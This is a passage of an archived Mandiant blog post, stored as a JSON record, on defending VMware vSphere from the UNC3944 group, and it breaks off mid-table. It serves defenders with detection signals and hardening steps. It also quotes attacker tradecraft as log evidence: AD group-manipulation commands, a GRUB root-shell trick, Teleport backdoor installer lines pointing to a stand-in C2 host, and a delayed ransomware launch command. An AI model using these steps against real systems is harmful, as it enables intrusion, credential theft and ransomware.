{
	"id": "abfb16bf-89d0-49c2-a05e-cbfe9144a33c",
	"created_at": "2026-04-06T00:22:07.355698Z",
	"updated_at": "2026-04-10T03:31:49.970602Z",
	"deleted_at": null,
	"sha1_hash": "39abb567e6ea3fddfdd7909a68b43de2fcd301d6",
	"title": "From Help Desk to Hypervisor: Defending Your VMware vSphere Estate from UNC3944",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1406432,
	"plain_text": "From Help Desk to Hypervisor: Defending Your VMware vSphere\r\nEstate from UNC3944\r\nBy Mandiant\r\nPublished: 2025-07-23 · Archived: 2026-04-05 19:43:43 UTC\r\nIntroduction\r\nIn mid 2025, Google Threat Intelligence Group (GTIG) identified a sophisticated and aggressive cyber campaign\r\ntargeting multiple industries, including retail, airline, and insurance. This was the work of UNC3944, a financially\r\nmotivated threat group that has exhibited overlaps with public reporting of \"0ktapus,\" \"Octo Tempest,\" and\r\n\"Scattered Spider.\" Following public alerts from the Federal Bureau of Investigation (FBI), the group's targeting\r\nbecame clear. GTIG observed that the group was suspected of turning its ransomware and extortion operations to\r\nthe U.S. retail sector. The campaign soon broadened further, with airline and transportation organizations in North\r\nAmerica having also become targets.\r\nThe group's core tactics have remained consistent and do not rely on software exploits. Instead, they use a proven\r\nplaybook centered on phone calls to an IT help desk. The actors are aggressive, creative, and particularly skilled at\r\nusing social engineering to bypass even mature security programs. Their attacks are not opportunistic but are\r\nprecise, campaign-driven operations aimed at an organization's most critical systems and data.\r\nTheir strategy is rooted in a \"living-off-the-land\" (LoTL) approach. After using social engineering to compromise\r\none or more user accounts, they manipulate trusted administrative systems and use their control of Active\r\nDirectory as a launchpad to pivot to the VMware vSphere environment, thus providing an avenue to exfiltrate data\r\nand deploy ransomware directly from the hypervisor. This method is highly effective as it generates few\r\ntraditional indicators of compromise (IoCs) and bypasses security tools like endpoint detection and response\r\n(EDR), which often have limited or no visibility into the ESXi hypervisor and vCenter Server Appliance (VCSA).\r\nThis blog post provides a deep dive into the anatomy of UNC3944's vSphere-centric attacks and outlines a\r\nfortified, multi-pillar defense strategy required for mitigation. Learn more about the risks associated with\r\nintegrating VMware vSphere with Microsoft Active Directory. Additionally, register for our upcoming webinar to\r\nlearn these strategies directly from Mandiant experts.\r\nvSphere Logging Fundamentals \r\nBefore discussing key detection signals and hardening strategies related to UNC3944’s vSphere-related\r\noperations, it's important to understand vSphere logging and the distinction between vCenter Events and ESXi\r\nhost logs. When forwarded to a central syslog server, vCenter Server events and ESXi host logs represent two\r\ndistinct yet complementary sources of data. Their fundamental difference lies in their scope, origin, and the\r\nstructured, event-driven nature of vCenter logs versus the verbose, file-based output of ESXi.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 1 of 20\n\n1. vCenter Server (VC Events)\r\nvCenter events operate at the management plane, providing a structured audit trail of administrative actions and\r\nautomated processes across the entire virtual environment. Each event is a discrete, well-defined object identified\r\nby a unique eventTypeId , such as VmPoweredOnEvent or UserLoginSessionEvent . This programmatic\r\nidentification makes them ideal for ingestion into Security Information and Event Management (SIEM) platforms\r\nlike Splunk or Google Chronicle for automated parsing, alerting, and security analysis.\r\nFigure 1: VC Event log structure\r\nNative storage \u0026 syslog forwarding: These events are generated by vCenter Server and stored within its\r\ninternal VCSA database (PostgreSQL). When forwarded, vCenter streams a real-time copy of these\r\nstructured events to the syslog server. The resulting log message typically contains the formal\r\neventTypeId along with its human-readable description, allowing for precise analysis.\r\nPrimary use cases:\r\nSecurity auditing \u0026 forensics: Tracking user actions, permission changes, and authentication\r\nChange management: Providing a definitive record of all configuration changes to clusters, hosts,\r\nand virtual machines (VMs)\r\nAutomated alerting: Triggering alerts in a SIEM or monitoring tool based on specific\r\neventTypeId s (e.g., HostCnxFailedEvent )\r\nExamples of vCenter Events: As documented in resources like the vCenter Event Mapping repository,\r\neach event has a specific programmatic identifier.\r\nUserLoginSessionEvent\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 2 of 20\n\nDescription: \"User {userName}@{ipAddress} logged in as {locale}\"\r\nSignificance: A critical security event for tracking all user access to the vCenter\r\nmanagement plane\r\nVmCreatedEvent\r\nDescription: \"Created virtual machine {vm.name} on {host.name} in {datacenter.name}\"\r\nSignificance: Logs the creation of new inventory objects, essential for asset management\r\nand change control\r\nVmPoweredOffEvent\r\nDescription: \"Virtual machine {vm.name} on {host.name} in {datacenter.name} is powered\r\noff\"\r\nSignificance: Tracks the operational state and availability of workloads. An unexpected\r\npower-off event is a key indicator for troubleshooting.\r\nNote on VCSA Logging Limitations: The VCSA does not, out-of-the-box, support forwarding critical security\r\nlogs for denied network connections or shell command activity. To enable this non-default capability, a custom\r\nconfiguration at the native Photon OS level is required. This is an agentless approach that leverages only built-in\r\nLinux tools (like iptables and logger) and does not install any third-party software. This configuration pipes\r\nfirewall and shell events into the VCSA's standard rsyslog service, allowing the built-in remote logging\r\nmechanism to forward them to a central SIEM.\r\n2. ESXi Host Logs \r\nESXi logs operate at the hypervisor level, providing granular, host-specific operational data. They contain detailed\r\ndiagnostic information about the kernel, hardware, storage, networking, and services running directly on the ESXi\r\nhost.\r\nNative storage: These logs are enabled by default and stored as a collection of plain text files on the ESXi\r\nhost itself, primarily within the /var/log/ directory. This storage is often a local disk or a persistent\r\nscratch partition. If a persistent location is not configured, these logs are ephemeral and will be lost upon\r\nreboot, making syslog forwarding essential for forensics.\r\nFigure 2: ESXi standard log structure\r\nPrimary use cases:\r\nDeep-dive troubleshooting of performance issues\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 3 of 20\n\nDiagnosing hardware failures or driver issues\r\nAnalyzing storage and network connectivity problems\r\nExamples of ESXi log entries sent to syslog:\r\n(from vmkernel.log ): Detailed logs about storage device latency\r\n(from hostd.log ): Logs from the host agent, including API calls, VM state changes initiated on\r\nthe host, and host service activity\r\n(from auth.log ): Records of successful or failed login attempts directly to the host via SSH or the\r\nDCUI\r\n3. ESXi Host Audit Logs\r\nESXi audit records provide a high-fidelity, security-focused log of actions performed directly on an ESXi host.\r\nThe following analysis of the provided example demonstrates why this log source is forensically superior to\r\nstandard logs for security investigations. These logs are not enabled by default.\r\nNative storage \u0026 persistence: These records are written to audit.*.log on the host's local filesystem,\r\ngoverned by the Syslog.global.auditRecord.storageEnable = TRUE parameter. Persistent storage\r\nconfiguration is critical to ensure this audit trail survives a reboot.\r\nFigure 3: ESXi audit log structure\r\nForensic analysis: standard vs. audit log: In the provided scenario, a threat actor logs into an ESXi host,\r\nattempts to run malware, and disables the execInstalledOnly security setting. Here is how each log type\r\ncaptures this event:\r\nStandard syslog shell.log analysis: The standard log provides a simple, chronological history of\r\ncommands typed into the shell.\r\nFigure 4: ESXi standard log output\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 4 of 20\n\nLimitations:\r\nNo login context: It does not show the threat actors source IP address or that the initial SSH\r\nlogin was successful.\r\nNo outcome: It shows the command ./malware was typed but provides no information on\r\nwhether it succeeded or failed.\r\nIncomplete narrative: It is merely a command history, lacking the essential context needed\r\nfor a full security investigation.\r\nESXi audit log analysis: The ESXi audit log provides a rich, structured, and verifiable record of the entire\r\nsession, from connection to termination, including the outcome of each command.\r\nFigure 5: ESXi audit log output\r\nSuccessful login: It explicitly records the successful authentication, including the source IP.\r\nFailed malware execution: This is the most critical distinction. The audit log shows that the\r\nmalware execution failed with an exit status of 126.\r\nSuccessful security disablement: It then confirms that the command to disable a key security\r\nfeature was successful.\r\nThis side-by-side comparison proves that while standard ESXi logs show a threat actor's intent, the ESXi audit log\r\nreveals the actual outcome, providing actionable intelligence and a definitive forensic trail. A comprehensive\r\nlogging strategy for a vSphere environment requires the collection and analysis of three distinct yet\r\ncomplementary data sources. When forwarded to a central syslog server, vCenter Server events, ESXi host audit\r\nrecords, and standard ESXi operational logs provide a multilayered view of the environment's security,\r\nadministrative changes, and operational health.\r\nCharacteristic vCenter Server Events ESXi Audit Logs ESXi Standard Logs\r\nScope Virtual Center, ESXI ESXi ESXi\r\nEnabled by\r\nDefault\r\nYes No Yes\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 5 of 20\n\nFormat\r\nStructured Objects\r\n(eventTypeId)\r\nVerbose, Structured\r\nAudit Entries\r\nUnstructured/Semi-structured Text\r\nType\r\nAdministrative, Management,\r\nAudit\r\nSecurity Audit,\r\nKernel-level Actions\r\nManagement, System-Level State\r\nPrimary\r\nStorage\r\nVCSA Internal Database\r\nLocal Filesystem\r\n(audit.log)\r\nLocal Filesystem\r\n(/var/log/)\r\nPrimary Use\r\nCase\r\nCentral Auditing, Full Cluster\r\nManagement, Forensics \r\nDirect Host Forensics,\r\nCompliance\r\nDeep Troubleshooting,\r\nDiagnostics\r\nTable 1: Comparison of ESXi Logs and vCenter Events\r\nAnatomy of an Attack: The Playbook\r\nUNC3944’s attack unfolds across five distinct phases, moving methodically from a low-level foothold to complete\r\nhypervisor control.\r\nFigure 6: Typical UNC3944 attack chain\r\nPhase 1: Initial Compromise, Recon, and Escalation\r\nThis initial phase hinges on exploiting the human element.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 6 of 20\n\nThe tactic: The threat actor initiates contact by calling the IT help desk, impersonating a regular employee.\r\nUsing readily available personal information from previous data breaches and employing persuasive or\r\nintimidating social engineering techniques, they build rapport and convince an agent to reset the\r\nemployee's Active Directory password. Once they have this initial foothold, they begin a two-pronged\r\ninternal reconnaissance mission:\r\nPath A (information stores): They use their new access to scan internal SharePoint sites, network\r\ndrives, and wikis. They hunt for IT documentation, support guides, org charts, and project plans that\r\nreveal high-value targets. This includes not only the names of individual Domain or vSphere\r\nadministrators, but also the discovery of powerful, clearly named Active Directory security groups\r\nlike \"vSphere Admins\" or \"ESX Admins\" that grant administrative rights over the virtual\r\nenvironment.\r\nPath B (secrets stores): Simultaneously, they scan for access to password managers like HashiCorp\r\nVault or other Privileged Access Management (PAM) solutions. If they find one with weak access\r\ncontrols, they will attempt to enumerate it for credentials.\r\nArmed with the name of a specific, high-value administrator, they make additional calls to the help desk. This\r\ntime, they impersonate the privileged user and request a password reset, allowing them to seize control of a\r\nprivileged account.\r\nWhy it's effective: This two-step process bypasses the need for technical hacking like Kerberoasting for\r\nthe initial escalation. The core vulnerability is a help desk process that lacks robust, non-transferable\r\nidentity verification for password resets. The threat actor is more confident and informed on the second\r\ncall, making their impersonation much more likely to succeed.\r\nKey detection signals:\r\n[LOGS] Monitor for command-line and process execution: Implement robust command-line\r\nlogging (e.g., via Audit Process Creation, Sysmon Event ID 1 or EDR). Create alerts for suspicious\r\nremote process execution, such as wsmprovhost.exe (WinRM) launching native tools like\r\nnet.exe to query or modify sensitive groups (e.g., net group \"ESX Admins\" /add ).\r\n[LOGS] Monitor for group membership changes: Create high-priority alerts for AD Event ID\r\n4728 (A member was added to a security-enabled global group) or 4732 (local group) for any\r\nchanges to groups named \"vSphere Admins,\" \"ESX Admins,\" or similar.\r\n[LOGS] Correlate AD password resets with help desk activity: Correlate AD Event ID 4724\r\n(Password Reset) and the subsequent addition of a new multi-factor authentication (MFA) device\r\nwith help desk ticket logs and call records.\r\n[BEHAVIOR] Alert on anomalous file access: Alert on a single user accessing an unusually high\r\nvolume of disparate files or SharePoint sites, which is a strong indicator of the reconnaissance seen\r\nduring UNC3944 activity.\r\n[CRITICAL BEHAVIOR] Monitor Tier 0 account activity: Any password reset on a Tier 0\r\naccount (Domain Admin, Enterprise Admin, vSphere) must be treated as a critical incident until\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 7 of 20\n\nproven otherwise.\r\nCritical hardening and mitigation:\r\n[CRITICAL] Prohibit phone-based resets for privileged accounts: For all Tier 0 accounts,\r\nenforce a strict \"no password resets over the phone\" policy. These actions must require an in-person,\r\nmultipart, or high-assurance identity verification process.\r\nProtect and monitor privileged AD groups: Treat these groups as Tier 0 assets: tightly control\r\nwho can modify their membership and implement the high-fidelity alerting for any membership\r\nchange ( AD Event ID 4728 / 4732 ). This is critical as threat actors will use native tools like\r\nnet.exe , often via remote protocols like WinRM, to perform this manipulation. Avoid using\r\nobvious, non-obfuscated names like \"vSphere Admins\" for security groups that grant high-level\r\nprivileges\r\nHarden information stores: Implement data loss prevention (DLP) and data classification to\r\nidentify and lock down sensitive IT documentation that could reveal high-value targets. Treat\r\nsecrets vaults as Tier 0 assets with strict, least-privilege access policies.\r\nRestrict or monitor remote management tools: Limit the use of remote management protocols\r\nlike WinRM and vSphere management APIs to authorized administrative subnets and dedicated\r\nPAWs. Log all remote commands for review and anomaly detection.\r\nTable 2 displays threat actors actions in support of Active Directory escalation along with process and command-line data that an organization may use to detect this activity.\r\nProcess Name Command Line Tactic Threat Actor's Goal\r\nexplorer.EXE\r\n\"C:\\Program Files...\\WORDPAD.EXE\"\r\n\"\\10.100.20.55\\c$\\Users\\j.doe...\\ACME\r\nPower Division\\Documents\\Procedure for\r\nDeploying ESXi...docx\"\r\nReconnaissance\r\nThreat actor, using a\r\ncompromised user\r\naccount, opens IT\r\nprocedure\r\ndocuments to\r\nunderstand the\r\nvSphere\r\nenvironment and\r\nfind target names.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 8 of 20\n\nexplorer.EXE\r\n\"C:...\\NOTEPAD.EXE\" \\prd-mgmt-srv02.acme-corp.local\\c$\\Users\\adm-svc-vcenter\\Desktop\\ESX HOST CLUSTER\r\nISSUE.txt\r\nReconnaissance\r\nThreat actor\r\ncontinues recon,\r\nopening files on a\r\nmanagement server\r\nthat likely contain\r\nnames of systems,\r\ngroups, or\r\nadministrators.\r\nwsmprovhost.exe \"C:...\\net.exe\" group \"ESX Admins\" Enumeration\r\nHaving found the\r\ngroup name, the\r\nthreat actors use\r\nWinRM to remotely\r\nquery the\r\nmembership of the\r\n\"ESX Admins\"\r\ngroup to identify\r\ntargets.\r\nwsmprovhost.exe\r\n\"C:...\\net.exe\" group \"ESX Admins\"\r\nACME-CORP\\temp-adm-bkdr /add\r\nManipulation\r\nThis is the key\r\nattack. The threat\r\nactor adds their\r\ncontrolled account\r\n(temp-adm-bkdr) to\r\nthe \"ESX Admins\"\r\ngroup, granting it\r\nfull admin rights to\r\nvSphere.\r\nwsmprovhost.exe \"C:...\\net.exe\" group \"ESX Admins\" Verification\r\nThe threat actor\r\nqueries the group\r\nagain immediately\r\nafter the\r\nmodification to\r\nconfirm that their\r\nmalicious user was\r\nsuccessfully added.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 9 of 20\n\nTable 2: Active Directory user escalation\r\nPhase 2: The Pivot to vCenter — The Control Plane Compromise \r\nWith mapped Active Directory to vSphere credentials, the threat actors turn their sights on the heart of the virtual\r\nenvironment.\r\nThe tactic: They use the compromised credentials to log into the vSphere vCenter Server GUI. From there,\r\nthey leverage their vCenter Admin rights to gain what amounts to \"virtual physical access\" to the VCSA\r\nitself. They open a remote console, reboot the appliance, and edit the GRUB bootloader to start with a root\r\nshell ( init=/bin/bash ), giving them passwordless root access. They then change the root password to\r\nenable SSH access upon reboot. To maintain their foothold, they upload and execute teleport, a legitimate\r\nopen source remote access tool, to create a persistent and encrypted reverse shell (C2 channel) that\r\nbypasses most firewall egress rules.\r\nWhy it's effective: vCenter’s delegation of trust in Active Directory often via LDAP(S) means the initial\r\nlogin isn't protected by MFA. The VCSA takeover abuses a fundamental privilege of a virtual environment\r\nadministrator—the ability to interact with a VM's console pre-boot.\r\nKey detection signals:\r\n[LOGS] Monitor vCenter events for logins\r\n( com.vSphere.vc.UserLoginSessionLoginSuccessEvent )\r\n( com.vSphere.vc.UserLoginSessionLoginFailureEvent ) and reboot\r\n( com.vSphere.vc.appliance.ApplianceRebootEvent ).\r\n[LOGS] Monitor for log entries with prefixes like \"SSH\" in remote VCSA syslog to detect dropped\r\nSSH attempts or other blocked traffic via iptables.\r\n[LOGS] On the VCSA, monitor journald and implement VCSA remote forwarding of logs to a\r\nSIEM to detect unauthorized shell access and the enablement of the SSH and Shell service.\r\nFigure 7: Remote syslog events for enablement of VCSA SSH service\r\n[NETWORK] Use Network Flow Logs to spot anomalous outbound connections from the VCSA's\r\nIP address.\r\n[NETWORK] Unusual DNS Requests from vCenter - This detection identifies when a vSphere\r\nvCenter server makes DNS requests for domains that are not on the explicit allow list of known,\r\ntrusted sites (e.g., vSphere.com , ntp.org , or internal domains).\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 10 of 20\n\n[LOGS] Use of cURL or Wget to download tools: This detection can identify the use of\r\ncommand-line utilities like cURL or Wget on a critical server (such as a vCenter, Domain\r\nController, or database server) to download a file from an external URL.\r\nCritical hardening and mitigation:\r\n[CRITICAL] Enable the VCSA remote logging: Implement remote syslog forwarding on the\r\nVCSA appliance. \r\n[CRITICAL] Enforce phishing-resistant MFA on vCenter: Implement a phishing-resistant MFA\r\nsolution, such as FIDO2/WebAuthn, for all vCenter logins by federating authentication with a\r\nsupported identity provider. This is a critical control that directly neutralizes the threat of credential\r\ntheft, rendering phishing attacks against vCenter users ineffective.\r\n[CRITICAL] Enforce least privilege in vCenter: Strictly limit the use of the Administrator role,\r\nreserving it for dedicated \"break glass\" accounts only such as administrator@vsphere.local .\r\nInstead, create granular, custom roles for specific job functions to ensure users and groups only have\r\nthe minimum permissions necessary, breaking the link between a compromised AD account and a\r\nfull vCenter takeover.\r\n[CRITICAL] Use the VCSA firewall and block shell access: Block all unnecessary outbound\r\ninternet traffic from the VCSA using egress filtering and its built-in firewall. Disable the SSH and\r\nBASH shells by default. This thwarts the teleport backdoor and makes the VCSA takeover\r\nsignificantly more difficult.\r\n[CRITICAL] Configure the VCSA's underlying iptables firewall: Enforce a Zero Trust allow-list for all management interfaces (443, 5480, 22) and enable logging for all denied connections.\r\nThe default VCSA GUI firewall can be disabled by an attacker with a compromised web session\r\nand, crucially, it does not log blocked connection attempts. By configuring iptables at the OS level,\r\nthe rules become immune to GUI tampering, and every denied connection is logged and forwarded\r\nto your SIEM.\r\nTable 3 displays threat actor actions in support of Teleport Installation along with key evidence that an\r\norganization may use to detect this activity.\r\nTactic Key Evidence  Threat Actor's Goal\r\nExecute Script\r\n\u0026 Assert\r\nPrivileges\r\nsudo: root : ... COMMAND=/usr/bin/bash -c\r\n'#!/bin/bash...'\r\nassert_running_as_root()\r\nThe threat actor executes the\r\ninstaller via sudo. The script's\r\nfirst action is to confirm it has\r\nthe root permissions required for\r\nsystem-wide installation.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 11 of 20\n\nDefine\r\nInstallation\r\nParameters\r\nSCRIPT_NAME=\"teleport-installer\"\r\nTELEPORT_BINARY_DIR=\"/usr/local/bin\"\r\nTELEPORT_CONFIG_PATH=\"/etc/teleport.yaml\"\r\nThe script defines its core\r\nparameters, including where the\r\nbackdoor's binaries and\r\nconfiguration files will be placed\r\non the compromised VCSA's\r\nfilesystem.\r\nHardcode C2 \u0026\r\nAuthentication\r\nDetails\r\nTARGET_HOSTNAME='c2.attacker.net'\r\nJOIN_TOKEN='[REDACTED_JOIN_TOKEN]'\r\nCA_PIN_HASHES='sha256:[REDACTED_CA_PIN_HASH]\r\nThe threat actor embeds the\r\nunique, pre-generated\r\ncredentials required for the agent\r\nto connect and authenticate to\r\ntheir external command-and-control (C2) server\r\nDetect OS \u0026\r\nSelect Package\r\nType\r\nif [[ ${f} != \"tarball\"\r\n\u0026\u0026 ${f} != \"deb\" ...\r\nThe script contains logic to\r\ndetect the underlying operating\r\nsystem (e.g., Debian, RHEL, or\r\na generic Linux like the VCSA)\r\nto ensure it uses the correct\r\ninstallation package (.deb, .rpm,\r\nor .tar.gz).\r\nDownload \u0026\r\nInstall Binaries\r\nScript logic proceeds to download the 'tarball'\r\npackage and unpacks binaries to /usr/local/bin\r\nBased on the OS detection, the\r\nscript would then download the\r\nappropriate Teleport package\r\nfrom an threat actor-controlled\r\nsource and install the binaries\r\n( teleport , tsh , tctl ) into\r\nthe predefined directory.\r\nEstablish\r\nPersistence\r\nSYSTEMD_UNIT_PATH=\"/lib/systemd/\r\nsystem/teleport.service\"\r\n[Implied Action] Script creates and enables a\r\nsystemd unit file\r\nTo ensure the backdoor survives\r\nreboots, the script creates a\r\nsystemd service file using the\r\ndefined path. It then enables and\r\nstarts the teleport service, which\r\ninitiates the final, persistent\r\nconnection to the C2 server.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 12 of 20\n\nTable 3: VCSA Teleport installation\r\nPhase 3: The Hypervisor Heist — Offline Credential Theft and Exfiltration\r\nThis is where the threat actor leverages their vSphere control to operate beneath the notice of in-guest security and\r\nEDR.\r\nThe tactic: From vCenter, the threat actor enables SSH on the ESXi hosts and reset their root passwords.\r\nThey then execute an offline attack by identifying a Domain Controller VM, powering it off, and detaching\r\nits virtual disk ( .vmdk ). This disk is then attached as a secondary drive to a forgotten or \"orphaned\" VM\r\nthey control. From this unmonitored machine, they copy the NTDS.dit Active Directory database. The\r\nprocess is then reversed, and the DC is powered back on as if nothing happened. The stolen data is then\r\nmoved in a two-stage process: first, an internal transfer from the orphaned VM to the compromised VCSA\r\nusing sftp , and second, an external exfiltration from the VCSA through the already-established\r\nteleport C2 channel to a threat actor controlled cloud service.\r\nWhy it's effective: This entire operation occurs at the hypervisor layer, making it invisible to any EDR or\r\nsecurity agent running inside the Domain Controller's operating system. The use of the VCSA as a data\r\nfunnel bypasses any network segmentation rules.\r\nTable 4 displays threat actor actions in support of VM data exfiltration along with key evidence that an\r\norganization may use to detect this activity.\r\nTactic\r\nEvidence\r\nSource\r\nKey Evidence Threat Actor's Goal\r\nIdentify\r\nTarget VM\r\nBrowser\r\nHistory\r\nURL: https://vcsa-prod-01.acme.local/ui/...\r\nPage Title: vSphere - ACME-DC01 -\r\nDatastores\r\nThe threat actor, logged in as a\r\ncompromised user , browses the\r\nvSphere UI to locate the virtual\r\nmachine for the target Domain\r\nController (ACME-DC01).\r\nIdentify\r\nStaging VM\r\nBrowser\r\nHistory\r\nURL: https://vcsa-prod-01.acme.local/ui/...\r\nPage Title: vSphere - OLD-APPSRV-01 -\r\nNetworks\r\nThe threat actor identifies a\r\nseemingly abandoned server\r\n(OLD-APPSRV-01) to use as\r\ntheir staging VM, onto which\r\nthey will mount the DC's disk.\r\nExecute\r\nDisk Swap\r\nvCenter\r\nEvent Log\r\nEvent:\r\n[vim.event.VmReconfiguredEvent]\r\nUser: ACME\\threat.actor\r\nThe threat actor triggers a VM\r\nreconfiguration on the staging\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 13 of 20\n\nAction: Reconfigured OLD-APPSRV-01\r\non esxi-prod-02.acme.local\r\nVM. This is the start of the disk\r\nattachment process.\r\nConfirm\r\nDisk\r\nAttachment\r\nvCenter\r\nEvent Log\r\nDevice Change: ...backing =\r\n(fileName =\r\n'ds:///vmfs/volumes/.../ACME-DC01/ACME-DC01_4.vmdk' ...)\r\nThe log shows a disk device\r\nbeing modified on the staging\r\nVM. The source file path\r\nclearly shows that the virtual\r\ndisk (.vmdk) belonging to the\r\nDomain Controller (ACME-DC01) is being attached.\r\nConfirm\r\nHost\r\nExecution\r\nESXi Host\r\nLog\r\n(hostd.log)\r\nTask: VpxaTask: VpxaReconfigVM\r\n/vmfs/volumes/.../OLD-APPSRV-01/OLD-APPSRV-01.vmx\r\nSimultaneously, the ESXi host\r\nlogs the ReconfigVM_Task\r\nbeing executed against the\r\nstaging VM, confirming the\r\naction was carried out at the\r\nhypervisor level.\r\nTable 4: Virtual machine data exfiltration\r\nKey detection signals:\r\n[BEHAVIOR] Monitor for reconnaissance in the vSphere UI: Before the attack, the threat actor\r\nbrowses the vSphere client to identify their target (e.g., a VM named ACME-DC01 ) and their staging\r\nVM ( OLD-APPSRV-01 ). If UI access logs or browser histories from admin workstations are\r\navailable, correlating suspicious browsing patterns with a subsequent reconfiguration event can\r\nprovide very early warning.\r\n[LOGS] Scrutinize: As shown in this anonymised real-world example, a\r\nvim.event.VmReconfiguredEvent for the staging VM (e.g., OLD-APPSRV-01 ) will contain the file\r\npath of the target VM's disk in its configuration details (e.g., backing = (fileName = '.../ACME-DC01/ACME-DC01_4.vmdk' ...) ). Create high-priority alerts that parse this event data to detect when\r\na disk from a critical asset is attached to any non-standard machine.\r\n[LOGS] Correlate the full event sequence: A high-fidelity alert can be built by correlating the full\r\nsequence of vCenter events on a critical asset: VmPoweredOffEvent , followed by the\r\nVmReconfiguredEvent previously detailed, and eventually a VmPoweredOnEvent combined with a\r\nrestart initiated by vmtoolsd.exe, along with supporting Windows guest events like 6006 (shutdown)\r\nand 6005 (startup).\r\n[BEHAVIOR] Create CRITICAL alerts for any power-on or reconfiguration event on VMs\r\nlocated in a \"Decommissioned\" or \"Orphaned\" folder as these are prime candidates for the threat\r\nactors staging VM.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 14 of 20\n\n[LOGS] Monitor ESXi host changes: Alert on SSH service start via vCenter events\r\n( vim.event.HostServiceStartedEvent ), firewall configuration changes\r\n( vim.event.HostFirewallInfoChangedEvent ), and direct root shell access logs on the ESXi hosts\r\nthemselves.\r\nCritical hardening and mitigation:\r\n[CRITICAL] Use vSphere VM encryption: Encrypt all Tier 0 virtualized assets. This is the\r\ndefinitive technical block for the offline \"Disk Swap\" attack as the stolen .vmdk file would be\r\nunreadable.\r\n[CRITICAL] Implement a strict VM decommissioning process: Formally decommission old\r\nVMs by deleting their disks. Do not leave powered-off, \"orphaned\" VMs on your datastores as these\r\nare the ideal workbenches for threat actors.\r\n[CRITICAL] Harden ESXi accounts: Disable the default ESXi root account in favor of a\r\nnamed \"break glass\" account with a highly complex password. On ESXi 8.0+, run esxcli system\r\naccount set -i vpxuser -s false to prevent a compromised vCenter user from changing ESXi\r\nroot passwords.\r\n[CRITICAL] Enable ESXi remote audit logging: Enable remote ESXi audit logging ( vpxa.log ,\r\nhostd.log , audit_records ) to a SIEM to provide verbose, centralized details of security-focused\r\nevents on the hosts themselves.\r\nFigure 8: Remote syslog events for SSH access to ESXi\r\nPhase 4: Backup Sabotage — Removing the Safety Net\r\nBefore deploying ransomware, the actor ensures their target cannot recover.\r\nThe tactic: Leveraging their full control over Active Directory, the threat actor targets the backup\r\ninfrastructure (e.g., a virtualized backup server). They either reuse the compromised Domain Admin\r\ncredentials to log in via RDP or, more stealthily, add a user they control to the \"Veeam Administrators\"\r\nsecurity group in AD. Once in, they delete all backup jobs, snapshots, and repositories.\r\nWhy it's effective: This works due to a lack of administrative tiering (where the same powerful accounts\r\nmanage both virtualization and backups) and insufficient monitoring of changes to critical AD security\r\ngroups.\r\nKey detection signals:\r\n[Detecting Path A] Monitor for interactive logons ( Windows Event ID 4624 ) on the backup server\r\nby high-privilege accounts.\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 15 of 20\n\n[Detecting Path B] Triggers a CRITICAL alert from AD logs for Event ID 4728 (\"A member was\r\nadded to a security-enabled global group\") for any change to the \"Veeam Administrators\" group\r\n[LOGS] Monitor the backup application's own audit logs for mass deletion events.\r\nCritical hardening and mitigation:\r\n[CRITICAL] Isolate backup infrastructure: The Veeam server and its repositories must be in a\r\nseparate MFA protected, highly restricted security domain or use dedicated, non-AD-joined\r\ncredentials. This severs the AD trust relationship the threat actor exploits.\r\n[CRITICAL] Utilize immutable repositories: This is the technical backstop against backup\r\ndeletion. It makes the backup data undeletable for a set period, even if a threat actor gains full\r\nadministrative access to the backup console.\r\nPhase 5: Encryption — Ransomware from the Hypervisor\r\nWith the target blinded and their safety net gone, the final stage commences.\r\nThe tactic: The threat actor uses their SSH access to the ESXi hosts to push their custom ransomware\r\nbinary via SCP/SFTP into a writable directory like /tmp . They then execute a script that uses the native\r\nESXi command-line tool, vim-cmd, to forcibly power off every VM on the host. Finally, they launch the\r\nransomware binary (often with nohup to ensure it continues after they log out), which scans the datastores\r\nand encrypts all VM files ( .vmdk , .vmx , etc.).\r\nTable 5 displays threat actor actions in support of ESXi ransomware execution along with key evidence that an\r\norganization may use to detect this activity.\r\nTactic Source Log File Key Evidence  Threat Actor's Goal\r\nSSH Login /var/log/auth.log\r\nSSH session was opened for\r\n'root@10.10.10.5'\r\nThe Threat Actor logs in as\r\nroot to the compromised\r\nESXi host via an interactive\r\nSSH session.\r\nPrepare\r\nPayload\r\n/var/log/shell.log\r\nchmod 0777 encrypt.out\r\ncp encrypt.out encrypt_.out\r\nThe Threat Actor’s\r\ncommands to make the\r\nransomware payload\r\nexecutable are captured by\r\nthe ESXi shell log.\r\nCreate\r\nExclusion\r\nList\r\n/var/log/shell.log echo VCSA-01-PROD \u003e\u003e list.txt\r\necho DC-01-PASSIVE \u003e\u003e list.txt\r\nThe shell log records the\r\ncreation of the list.txt file,\r\nrevealing the threat actors\r\nhttps://cloud.google.com/blog/topics/threat-intelligence/defending-vsphere-from-unc3944\r\nPage 16 of 20\n\nintent to selectively encrypt\r\nsystems.\r\nExecute\r\nRansomware\r\n/var/log/shell.log\r\nnohup sh -c 'sleep 14400 \u0026\u0026\r\n/encrypt_.out -pass\r\n[REDACTED_ENCRYPTION_KEY] -\r\nskip_vms /list.txt' \u0026\r\nThe exact command to launch\r\nthe 